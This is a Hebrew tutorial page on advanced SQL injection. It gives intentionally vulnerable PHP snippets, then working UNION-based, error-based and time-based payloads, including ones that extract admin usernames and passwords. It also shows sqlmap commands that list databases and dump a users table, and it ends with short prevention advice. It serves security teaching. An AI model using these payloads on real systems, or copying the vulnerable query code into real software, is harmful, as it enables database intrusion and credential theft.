לדלג לתוכן

SQL Injection מתקדם – מתקפות מורכבות ושימוש ב-SQLMap

מבוא

לא כל מערכות פגיעות ל-SQL Injection ישיר. כאשר מפתחים משתמשים ב-Prepared Statements או מסננים קלטים בצורה שטחית, תוקפים נדרשים להשתמש בטכניקות מתקדמות יותר כמו UNION-Based SQLi, Error-Based SQLi ו-Time-Based SQLi כדי להשיג מידע ממסד הנתונים.

1. הדפסת נתוני משתמשים מטבלה אחרת

<?php
$conn = new mysqli("localhost", "root", "", "users_db");
$id = $_GET['id'];
$query = "SELECT username, email FROM users WHERE id = $id";
$result = $conn->query($query);
if ($row = $result->fetch_assoc()) {
    echo "Username: " . $row['username'] . " Email: " . $row['email'];
} else {
    echo "User not found.";
}
?>

כאשר הSQLI שלנו מאפשר לנו להוציא מידע החוצה באתר, נוכל להדליף מידע מהטבלה כמו בדוגמה למעלה.
אך, לפעמים נרצה גם להדליף מטבלאות אחרות- (למשל לא מטבלת users בדוגמה)
בשביל זה, נוכל בpayload שלנו להוסיף union- כדי להוסיף מידע מטבלה אחרת בשאילתה.
רגע אבל איך נדע איזה טבלאות יש בdatabase?

1. גילוי מספר העמודות

ראשית צריך למצוא כמה עמודות מוחזרות מהשאילתה המקורית:

' ORDER BY 1-- 
' ORDER BY 2--
' ORDER BY 3-- 

נמשיך עד שנקבל שגיאה - המספר האחרון לפני השגיאה הוא מספר העמודות.

2. מציאת טבלאות במערכת

במערכות ניהול מסדי נתונים שונים יש טבלאות מערכת שמכילות מידע על המבנה:

MySQL/MariaDB:

UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--

כך נוכל לקבל את רשימת כל הטבלאות בdatabase הנוכחי, כאשר בשאילתה למעלה אנחנו שולפים על 3 עמודות כדי לוודא שלא תהיה שגיאה (כי בשלב הקודם גלינו שבלי שנשלוף על 3 עמודות תהיה שגיאה, כי כמות העמודות של הטבלה השניה צריכה להיות תואמת את הטבלה הראשונה)

3. מציאת שמות עמודות

לאחר שמצאנו טבלאות מעניינות, נוכל למצוא את העמודות שלהן:

MySQL/MariaDB:

UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

דוגמה מעשית

אם מצאנו טבלה בשם admin_users, נוכל לחלץ את הנתונים כך:

UNION SELECT username,password,3 FROM admin_users--

חשוב לזכור:

  1. יש להתאים את מספר העמודות בשאילתת ה-UNION לשאילתה המקורית
  2. בחלק מהמערכות צריך להשתמש ב-NULL במקום במספרים אם העמודות לא מסוג מספר

טכניקה זו מאפשרת למפות את כל מסד הנתונים גם ללא גישה ישירה אליו!


2. קוד עם טיפול בשגיאות – מתאים למתקפת Error-Based SQLi

<?php
$conn = new mysqli("localhost", "root", "", "users_db");
$id = $_GET['id'];
$query = "SELECT username FROM users WHERE id = '$id'";
$result = $conn->query($query);
$row = $result->fetch_assoc();
echo $row['username'];
?>

🔴 כיצד לנצל את זה? אם מסד הנתונים מציג שגיאות SQL, תוקף יכול להזריק שאילתה שתוביל לשגיאה ולחשוף מידע:

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) y)--

אם זה גורם לשגיאת MySQL, התוקף יקבל מידע על גרסת מסד הנתונים ויכול להמשיך להוציא מידע נוסף.


3. מתקפת Time-Based SQLi

במערכות שלא מחזירות שגיאות, ניתן להשתמש בזמן תגובה כדי לבדוק האם שאילתה פועלת.

<?php
$conn = new mysqli("localhost", "root", "", "users_db");
$id = $_GET['id'];
$query = "SELECT username FROM users WHERE id = '$id'";
$result = $conn->query($query);
$row = $result->fetch_assoc();
echo $row['username'];
?>

🔴 כיצד לתקוף?

?id=1' AND IF(1=1, SLEEP(5), 0)--

אם האתר מגיב באיחור של 5 שניות, התוקף יודע שהשאילתה התקבלה ומערכת ה-SQL היא פגיעה.


שימוש ב-SQLMap

הכלי SQLMap הוא כלי אוטומטי להזרקת SQL שמאפשר לתוקפים לבדוק ולנצל פגיעויות בקלות.
הכלי יודע לבצע sqli עם error, sleep, וגם union כדי להביא מידע מעוד טבלאות.

בדיקת פגיעות בסיסית

sqlmap -u "http://example.com/index.php?id=1" --dbs

🔹 יציג את שמות בסיסי הנתונים באתר.

בדיקת טבלאות בבסיס נתונים ספציפי

sqlmap -u "http://example.com/index.php?id=1" -D users_db --tables

🔹 יציג את שמות הטבלאות בבסיס הנתונים users_db.

חילוץ נתונים מטבלה מסוימת

sqlmap -u "http://example.com/index.php?id=1" -D users_db -T users --dump

🔹 ישאב את כל הנתונים מטבלת users.


סיכום

🔴 מתקפות SQLi מתקדמות כוללות:

  • UNION-Based SQLi – משמשת למשיכת נתונים כאשר הפלט מוצג.

  • Error-Based SQLi – משמשת כשמסד הנתונים מחזיר שגיאות.

  • Time-Based SQLi – משמשת כשאין פלט ישיר ומסתמכת על זמן תגובה.

  • שימוש ב-SQLMap – כלי אוטומטי שמאיץ זיהוי וניצול פגיעויות SQLi.

כדי למנוע SQLi, חובה:

  • להשתמש רק ב-Prepared Statements.

  • לסנן קלטי משתמשים באופן מחמיר.

  • להגדיר הרשאות מתאימות למסד הנתונים.

💡 מתקפות SQLi הן מסוכנות, אך ניתן למנוע אותן בקלות עם תכנון נכון של הקוד!